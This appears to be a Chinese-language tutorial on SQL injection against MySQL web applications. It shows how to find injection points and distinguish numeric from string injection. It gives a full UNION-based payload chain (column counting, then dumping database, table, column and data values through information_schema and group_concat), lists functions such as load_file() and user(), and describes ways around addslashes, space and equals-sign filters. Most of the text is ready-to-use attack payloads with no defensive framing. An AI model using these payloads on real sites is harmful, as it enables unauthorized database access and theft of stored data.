SQL注入-查询注入

SQL注入-查询注入

一、寻找注入点

  • 在参数后面添加单引号或双引号,查看返回包,如果报错或者长度变化,可能存在Sql注入
  • 通过构造get、post、cookie请求再相应的http头信息等查找敏感信息
  • 通过构造一些语句,检测服务器中响应的异常

二、普通注入

1.数字型

  • 加单引号,URL:xxx.xxx.xxx/xxx.php?id=3';

    • 对应的sql:select * from table where id=3' 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;
  • 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=3 and 1=1;

    • 对应的sql:select * from table where id=3' and 1=1 语句执行正常,与原始页面没有差异;
  • 加and 1=2,URL:xxx.xxx.xxx/xxx.php?id=3 and 1=2;

    • 对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异;

2.字符型

  • 加单引号:select * from table where name='admin'';
    • 由于加单引号后变成三个单引号,则无法执行,程序会报错;
  • 加 ' and 1=1 此时sql 语句为:select * from table where name='admin' and 1=1' ,也无法进行注入,还需要通过注释符号将其绕过;
    • 因此,构造语句为:select * from table where name ='admin' and 1=--' 可成功执行返回结果正确;
  • 加and 1=2— 此时sql语句为:select * from table where name='admin' and 1=2–'则会报错;

如果满足以上三点,可以判断该url为字符型注入。

  • 判断列数:

    ?id=1' order by 4# 报错
    
    ?id=1' order by 3# 没有报错,说明存在3列
    
    爆出数据库:
    
    ?id=-1' union select 1,database(),3--+
    
    ?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata#
    
    爆出数据表:
    
    ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='数据库'#
    
    爆出字段:
    
    ?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='数据表'#
    
    爆出数据值:
    
    ?id=-1' union select 1,group_concat(0x7e,字段,0x7e),3 from 数据库名.数据表名--+
    
    拓展一些其他函数:
    
    system_user() 系统用户名
    
    user() 用户名
    
    current_user 当前用户名
    
    session_user()连接数据库的用户名
    
    database() 数据库名
    
    version() MYSQL数据库版本
    
    load_file() MYSQL读取本地文件的函数
    
    @@datadir 读取数据库路径
    
    @@basedir MYSQL 安装路径
    
    @@version_compile_os 操作系统
    
    多条数据显示函数:
    
    concat()、group_concat()、concat_ws()

三、绕过addslashes

1.绕过单引号

在MYSQL中将字符串转换为16进制:select hex('learn'), 得到learn的十六进制为6C6561726E;将十六进制转回字符串:unhex('6C6561726E')得到learn
where table_schema=0x6C6561726E and table_name=0x75736572 limit 0,1

2.绕过空格

  • 用注释替换空格: /**/表示一个空格
  • 括号绕过空格:select(user())from dual where(1=1)and(2=2)

3.绕过等号

  • 使用like 、rlike 、regexp 或者 使用< 或者 >

四、Union查询不适用的情况

  • 注入语句无法截断,且不清楚完整的SQL查询语句
  • 页面不能返回查询信息的时候
  • web页面中有两个查询语句,查询语句的列数不同
上一篇
下一篇